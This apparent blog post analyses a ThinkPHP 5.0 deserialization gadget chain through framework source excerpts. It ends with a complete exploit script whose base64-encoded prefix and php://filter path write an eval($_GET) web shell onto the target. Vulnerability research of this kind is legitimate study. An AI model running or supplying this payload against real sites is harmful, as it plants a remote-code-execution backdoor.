thinkphp/library/think/process/pipes/Windows.php
| public function __destruct() |
| { |
| $this->close(); |
| $this->removeFiles(); |
| } |
| private function removeFiles() |
| { |
| foreach ($this->files as $filename) { |
| if (file_exists($filename)) { |
| @unlink($filename); |
| } |
| } |
| $this->files = []; |
| } |
thinkphp/library/think/Model.php,该Model是抽象类所以需要一个子类进行引用
| public function __toString() |
| { |
| return $this->toJson(); |
| } |
| public function toJson($options = JSON_UNESCAPED_UNICODE) |
| { |
| return json_encode($this->toArray(), $options); |
| } |
| public function toArray() |
| { |
| ... |
| if (!empty($this->append)) { |
| foreach ($this->append as $key => $name) { |
| if (is_array($name)) { |
| |
| $relation = $this->getAttr($key); |
| $item[$key] = $relation->append($name)->toArray(); |
| } elseif (strpos($name, '.')) { |
| list($key, $attr) = explode('.', $name); |
| |
| $relation = $this->getAttr($key); |
| $item[$key] = $relation->append([$attr])->toArray(); |
| |
| } else { |
| $relation = Loader::parseName($name, 1, false); |
| if (method_exists($this, $relation)) { |
| $modelRelation = $this->$relation(); |
| $value = $this->getRelationData($modelRelation); |
| |
| if (method_exists($modelRelation, 'getBindAttr')) { |
| $bindAttr = $modelRelation->getBindAttr(); |
| if ($bindAttr) { |
| foreach ($bindAttr as $key => $attr) { |
| $key = is_numeric($key) ? $attr : $key; |
| if (isset($this->data[$key])) { |
| throw new Exception('bind attr has exists:' . $key); |
| } else { |
| $item[$key] = $value ? $value->getAttr($attr) : null; |
| } |
| } |
| continue; |
| } |
| } |
| $item[$name] = $value; |
| } else { |
| $item[$name] = $this->getAttr($name); |
| } |
| } |
| .... |
接着就会来到BelongTo类中的getRelation方法,这里的$this->query可控,所以我们找一个没有removeWhereField方法并且存在__call方法的类来作为$this->query,这里挑选了Output类
| public function getRelation($subRelation = '', $closure = null) |
| { |
| $foreignKey = $this->foreignKey; |
| if ($closure) { |
| call_user_func_array($closure, [ & $this->query]); |
| } |
| $relationModel = $this->query |
| ->removeWhereField($this->localKey) |
| ->where($this->localKey, $this->parent->$foreignKey) |
| ->relation($subRelation) |
| ->find(); |
| |
| if ($relationModel) { |
| $relationModel->setParent(clone $this->parent); |
| } |
| |
| return $relationModel; |
| } |
Output类中的__call
thinkphp/library/think/console/Output.php
| public function __call($method, $args) //这里调用 |
| { |
| if (in_array($method, $this->styles)) { |
| array_unshift($args, $method); |
| return call_user_func_array([$this, 'block'], $args); |
| } |
| |
| if ($this->handle && method_exists($this->handle, $method)) { |
| return call_user_func_array([$this->handle, $method], $args); |
| } else { |
| throw new Exception('method not exists:' . __CLASS__ . '->' . $method); |
| } |
| } |
| protected function block($style, $message) |
| { |
| $this->writeln("<{$style}>{$message}</$style>"); |
| } |
| public function writeln($messages, $type = self::OUTPUT_NORMAL) |
| { |
| $this->write($messages, true, $type); |
| } |
| public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) |
| { |
| $this->handle->write($messages, $newline, $type); |
| } |
Memchache类
thinkphp/library/think/session/driver/Memcache.php
| public function write($sessID, $sessData) |
| { |
| return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']); //这里的$this->handle可控 全局搜索可控类中的set方法 |
| } |
Memcached类
thinkphp/library/think/cache/driver/Memcached.php
| public function set($name, $value, $expire = null) |
| { |
| if (is_null($expire)) { |
| $expire = $this->options['expire']; |
| } |
| if ($expire instanceof \DateTime) { |
| $expire = $expire->getTimestamp() - time(); |
| } |
| if ($this->tag && !$this->has($name)) { |
| $first = true; |
| } |
| $key = $this->getCacheKey($name); |
| $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire; |
| if ($this->handler->set($key, $value, $expire)) { |
| isset($first) && $this->setTagItem($key); |
| return true; |
| } |
| return false; |
| } |
thinkphp/library/think/cache/driver/File.php
| public function set($name, $value, $expire = null) |
| { |
| if (is_null($expire)) { |
| $expire = $this->options['expire']; |
| } |
| if ($expire instanceof \DateTime) { |
| $expire = $expire->getTimestamp() - time(); |
| } |
| $filename = $this->getCacheKey($name, true); |
| if ($this->tag && !is_file($filename)) { |
| $first = true; |
| } |
| $data = serialize($value); |
| if ($this->options['data_compress'] && function_exists('gzcompress')) { |
| |
| $data = gzcompress($data, 3); |
| } |
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; |
| $result = file_put_contents($filename, $data); |
| if ($result) { |
| isset($first) && $this->setTagItem($filename); |
| clearstatcache(); |
| return true; |
| } else { |
| return false; |
| } |
| } |
上面的函数走完出来之后 又回到set方法中调用setTagItem
| protected function setTagItem($name) |
| { |
| if ($this->tag) { |
| $key = 'tag_' . md5($this->tag); |
| $this->tag = null; |
| if ($this->has($key)) { |
| $value = explode(',', $this->get($key)); |
| $value[] = $name; |
| $value = implode(',', array_unique($value)); |
| } else { |
| $value = $name; |
| } |
| $this->set($key, $value, 0); |
| } |
| } |
| public function set($name, $value, $expire = null) |
| { |
| if (is_null($expire)) { |
| $expire = $this->options['expire']; |
| } |
| if ($expire instanceof \DateTime) { |
| $expire = $expire->getTimestamp() - time(); |
| } |
| if ($this->tag && !$this->has($name)) { |
| $first = true; |
| } |
| $key = $this->getCacheKey($name); |
| $expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire; |
| if ($this->handler->set($key, $value, $expire)) { |
| isset($first) && $this->setTagItem($key); |
| return true; |
| } |
| return false; |
| } |
exp:
| <?php |
| namespace think\process\pipes; |
| |
| class Windows |
| { |
| private $files = []; |
| public function __construct() |
| { |
| $this->files = [new \think\model\Merge]; |
| } |
| } |
| |
| namespace think\model; |
| use think\Model; |
| |
| class Merge extends Model |
| { |
| protected $append = []; |
| protected $error; |
| |
| public function __construct() |
| { |
| $this->append = [ |
| 'bb' => 'getError' |
| ]; |
| $this->error = (new \think\model\relation\BelongsTo); |
| } |
| } |
| |
| namespace think; |
| class Model{} |
| |
| namespace think\console; |
| class Output |
| { |
| protected $styles = []; |
| private $handle = null; |
| public function __construct() |
| { |
| $this->styles = ['removeWhereField']; |
| $this->handle = (new \think\session\driver\Memcache); |
| } |
| } |
| |
| namespace think\model\relation; |
| |
| class BelongsTo |
| { |
| protected $query; |
| public function __construct() |
| { |
| $this->query = (new \think\console\Output); |
| } |
| } |
| |
| namespace think\session\driver; |
| class Memcache |
| { |
| protected $handler = null; |
| public function __construct() |
| { |
| $this->handler = (new \think\cache\driver\Memcached); |
| } |
| } |
| |
| |
| namespace think\cache\driver; |
| |
| class Memcached |
| { |
| protected $tag; |
| protected $options = []; |
| protected $handler = null; |
| |
| public function __construct() |
| { |
| $this->tag = true; |
| $this->options = [ |
| 'expire' => 0, |
| 'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4', |
| ]; |
| $this->handler = (new File); |
| } |
| } |
| |
| class File |
| { |
| protected $tag; |
| protected $options = []; |
| public function __construct() |
| { |
| $this->tag = false; |
| $this->options = [ |
| 'expire' => 3600, |
| 'cache_subdir' => false, |
| 'prefix' => '', |
| 'data_compress' => false, |
| 'path' => 'php://filter/convert.base64-decode/resource=./', |
| ]; |
| } |
| } |
| |
| |
| echo base64_encode(serialize(new \think\process\pipes\Windows)); |
| |
| |

参考文章:https://www.cnblogs.com/xiaozhiru/p/12452528.html
还有一个方法是文章:https://www.anquanke.com/post/id/196364
这篇文件走的地方有点不同,走的是Model中的$item[$key] = $value ? $value->getAttr($attr) : null
,getError方法中返回的是HasOne类
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY